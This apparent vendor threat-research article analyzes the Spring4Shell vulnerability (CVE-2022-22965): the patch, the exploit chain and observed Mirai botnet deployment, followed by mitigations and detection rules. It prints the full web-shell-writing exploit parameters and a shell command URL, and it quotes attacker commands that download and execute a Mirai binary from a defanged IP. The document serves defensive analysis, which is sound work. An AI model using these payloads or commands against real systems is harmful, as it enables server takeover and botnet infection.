CVE-2022-22965 Analyzing the Exploitation of Spring4Shell Vulnerability in Weaponizing and Executing the Mirai Botnet Malware

Patch analysis

The patch for Spring Framework has already been released. We provide relevant details in the succeeding section on available patches and mitigations.

In this section, we analyze how different the patch is.

As aforementioned, the “class.classLoader” and “class.protectionDomain” logic was not adequately secure, thus rendering the Spring Framework vulnerable. To resolve this issue, the logic of child property access has been improved in the patched version update. Currently, it only allows “name” variants of class properties and no longer allows the binding of ClassLoader and ProtectionDomain Types.

Details of the patch can be found here.

Exploit analysis

In this section, we attempt to understand how malicious actors can gain access to all sorts of valuable objects on the system by simply following the chain of properties that we previously discussed.

Having access to the class variable and all its sub-properties provides a path for threat actors to change the behavior of the web application. Their familiarity with ways to exploit exposed class objects has resulted in many techniques for weaponizing this vulnerability.

For example, threat actors can access an AccessLogValve object and weaponize the class variable “class.module.classLoader.resources.context.parent.pipeline.firstpath” in Apache Tomcat. They can do this by redirecting the access log to write a web shell into the web root through manipulation of the properties of the AccessLogValve object, such as its pattern, suffix, directory, and prefix.

To illustrate:

Stage 1

Send Crafted Packet using “burp suite” or “curl” 

Sample Host = (http://{victim IP}:8080/)

The payload from the first stage can be sent as a single request without using different headers as shown in Figure 4 and as described in this public exploit. This exploit proof of concept is also interesting since a legitimate Tomcat feature of formatting the incoming logs to a deployed application is exploited as described in the second stage.

Stage 2

After decoding the payload being used from the first stage, we observe the following parameters and values in the payload:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

When a server handles this request, it creates a “tomcatwar.jsp” file on the server directory, which can be observed in the following string from the request made in the first stage.

Here, five specific attributes are modified as follows:

1. Pattern: It consists of a formatting layout identifying the various fields to extract from the request and log the response. Here you can see how the headers ‘c2’, ‘c1’, ‘suffix’ are being fetched from the headers. The substitution happens from the incoming headers as the format is %{name_of_header}i.

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

2. Suffix: The suffix to add to the end of each log file name. The extension of the file that will be written is .jsp

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

3. Directory: The absolute or relative path of a directory where the file will be created. In this case, ‘webapps/ROOT’ is selected since this is the path that is contained in a default Tomcat installation.

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

4. Prefix: The string that is added to the start of each log file that will be created. In this case, it’s ‘tomcatwar’.

class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar

5. fileDateFormat: The field allows for a customized timestamp to be added in the log file name. This is kept empty since we don’t want any other extensions in the JSP webshell and this is set to empty because we don’t desire the default timestamp format.

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Stage 3

Using the uploaded JSP web shell, malicious actors can execute commands on the server remotely, as observed in this domain:

• ·       (http://{victim IP}:8080/tomcatwar[.]jsp?pwd=j&cmd=whoami)

Associated risks if unpatched

The RCE vulnerability gives threat actors full access to the compromised devices, making it a dangerous and critical vulnerability. Malicious actors can achieve various goals through RCE attacks. In contrast to other exploits, an RCE attack typically results in the following:

• Creation of a path to allow initial access to a device that lets threat actors to install malware or achieve other goals
  
• Provision of means to spread malware that extracts and exfiltrates data from a device, or enabling of commands that install malware designed to steal information
• Denial of service that disrupts the operation of systems or other applications on the system
• Deployment and execution of cryptomining or cryptojacking malware on exposed devices by exploiting the RCE vulnerability
• Deployment of ransomware that encrypts files and withholds access until victims settle the ransom

Earliest exploitation

C1WS IPS rule 1006015, which detects “class.classLoader” in the request, was first logged on our honeypots on March 31, 2022.

IPS rule: 1006015 – Restrict Apache Struts “class.classLoader” Request

We also observed IPS triggers from the rule released recently, as follows:

IPS rule: 1011372 – Spring Framework “Spring4Shell” Remote Code Execution Vulnerability (CVE-2022-22965)

This IPS trigger is observed when a threat actor sends the malicious payload to exploit the vulnerability.

This Log Inspection trigger can be observed when there is an unsuccessful exploitation attempt. It fails to create the log file that is the web shell (shell.jsp) due to incoherent permissions on the Tomcat ROOT directory. Such indicators can help threat analysts when they explore possible exploitation attempts of this vulnerability.

Like the trigger in Figure 8, this Log Inspection trigger was observed as a result of an unsuccessful exploitation of the vulnerability. Here, the file “shell.jsp” was not created. Since the file was not available, the exception “java.io.FileNotFoundException” was logged.

Active exploitation

We observed active exploitation of Spring4Shell wherein malicious actors were able to weaponize and execute the Mirai botnet malware on vulnerable servers, specifically in the Singapore region.

The Mirai sample is downloaded to the “/tmp” folder and executed after permission change to make them executable using “chmod”. The exploitation requests and commands decoded are as follows:

• http://{victim IP}:9090/tomcatwar[.]jsp?pwd=j&cmd=cd%20/tmp;%20wget%20http://45[.]95[.]169[.]143/The420smokeplace[.]dns/KKveTTgaAAsecNN
  aaaa.x86;chmod%20777%20*;./KKveTTgaAAsecNNaaaa.x86%20mSpring[.]x86
• cd /tmp; wget http://45[.]95[.]169[.]143/The420smokeplace.dns/KKveTTgaAAsecNNaaaa.x86;chmod 777 *;./KKveTTgaAAsecNNaaaa.x86 mSpring[.]x86
• http://45[.]95[.]169[.]143/The420smokeplace[.]dns/KKveTTgaAAsecNNaaaa.x86

We observed the samples at the start of April 2022. We also found the malware file server with other variants for different CPU architectures.

The script “wget.sh” downloads the binaries from the malicious server and executes all the samples. The compatible ones run while the rest don’t. Post execution, the files are removed from disk.

Trend Micro Vision One™

Here, we see the individual triggers from different modules and products of Trend Micro from the threat hunting app, where we can examine the different levels of severity of each significant hit. We take this to the next level in the Vision One Workbench.

This Workbench is generated from Trend Micro Cloud One™ – Network Security. This shows how Network Security can help detect and prevent exploit attempts to protect an enterprise’s Cloud workload on its deployed virtual private cloud (VPC). Here we can see how the endpoint with the IP address “10.10.10.176” is protected by the Intrusion Prevention Filter for Spring Core Code Execution Vulnerability.

This Workbench shows the simplification of a complex attack pattern. Here, we see the initial IPS trigger from Network Security where a VPC with a vulnerable EC2 instance is protected. With this Workbench, we can see that Trend Micro Cloud One™ – Workload Security and Network Security are working in resonance.

We also have the IPS trigger from Network Security detecting the exploit attempt right from the start. We can then observe the “Identified Suspicious Command Injection” IPS rule from Workload Security sending the trigger out. Afterward, we see the execution of other commands, and this enables threat analysts to determine the presence of a successful exploitation, as the execution was followed using “curl” or “wget” to download and execute a malicious sample after a change of permissions using “chmod”.

The impact scope helps assess the other workloads that have been observed with similar exploitation indicators such as processes, files, network activity, and commands executed among others. This integrated view shows the power of having everything in a single screen with detection across multiple products.

This Workbench allows the observation of IPS triggers from Workload Security. The observation, in turn, enables the monitoring of Command Injection traffic, followed by the Spring Core RCE IPS rule. The different arrows show the directions of correlation between IP addresses and endpoints.

In this Workbench trigger, we can observe the work of different Workload Security modules. We can also see the first IPS trigger. Immediately after that, we see that there is an outbound connection to a well-known cryptocurrency mining pool. This event is detected from the Activity Monitoring module, which helps log file, network, and process activity.

Vision One Workbench can help analysts weed out the noise from their environments. With the help of Trend Micro threat experts who establish and devise these rules carefully, enterprises can thwart a wide range of cyberattacks.

Available patches and mitigations

Spring has released patches for this vulnerability with complete details here.

We urge enterprises to do the following:

• Upgrade Spring Framework to versions 5.3.18+ and 5.2.20+.
• Upgrade Spring Boot to versions 2.6.6+ and2.5.12+.

In the interim, enterprises can mitigate the risks associated with the vulnerability by doing the following:

• Maintaining a disallow or blocklist in web application firewall to block strings that contain values such as “class.*”, “Class.*”, “*.class.*”, and “*.Class.*”
• Downgrading to a lower JDK version such as version 8 might help. However, it could impact application features and open doors to other attacks mitigated in higher versions of JDK.

Trend Micro protection and investigation

Trend Micro has also released rules and filters for detection and protection across some of its suite of products. These provide additional protection from and detection of malicious components associated to this threat.

Workload Security and Deep Security IPS Rules

• Rule 1011372 – Spring Framework “Spring4Shell” Remote Code Execution Vulnerability (CVE-2022-22965)

Network Security and TippingPoint Filters

• Filter 41108: HTTP: Spring Core Code Execution Vulnerability

Trend Micro™ Deep Discovery™ Inspector Network Content Inspection Rules

• Rule 4678: CVE-2022-22965 – SPRING RCE EXPLOIT – HTTP(REQUEST)
• Rule 4679: POSSIBLE JAVA CLASSLOADER RCE EXPLOIT – HTTP(REQUEST)

Indicators of Compromise (IOCs)

A list of the IOCs can be found in this text file..